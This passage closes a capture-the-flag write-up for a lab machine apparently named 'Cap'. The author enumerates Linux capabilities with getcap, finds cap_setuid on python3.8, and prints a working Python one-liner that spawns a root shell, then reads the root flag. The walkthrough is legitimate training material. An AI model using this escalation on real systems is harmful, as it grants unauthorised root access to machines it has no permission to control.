However, I am almost certain that this is the focal point of the attack, I decide, so take a look at the forum for some suggestions. The post that awakens something in my head says "You can search for Privilege Escalations by searching the machine name". I had completely removed this detail, convinced that the name "Cap" of the machine could refer to the pcap files already analyzed. In the Linux environment, however, CAP also stands for "capabilities". Searching the net for "cap escalation privileges" I find an interesting video.

I try; the output is different, but it might be a good way.

nathan@cap:/$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

A few links below among the search results I find another very interesting article, which coincidentally talks exactly about my scenario, in which the "cap_setuid" set on python3.8 is mentioned.

Linux Privilege Escalation using Capabilities
In this article, we will discuss the mechanism of “capability” and Privilege escalation by abusing it. As we know when the system creates a work

And, what can I say, I don't have to go very far to be able to get the second flag as well.

nathan@cap:/$ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:/# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
root@cap:/# cat /root/root.txt 
3******************************f

It seems to me it was a simple and fun BOX, I hope you liked it too. That's all folks, come to the next BOX and have fun with your hacking activities.

The awesome image used in this article was created by photographer Tim Tadder.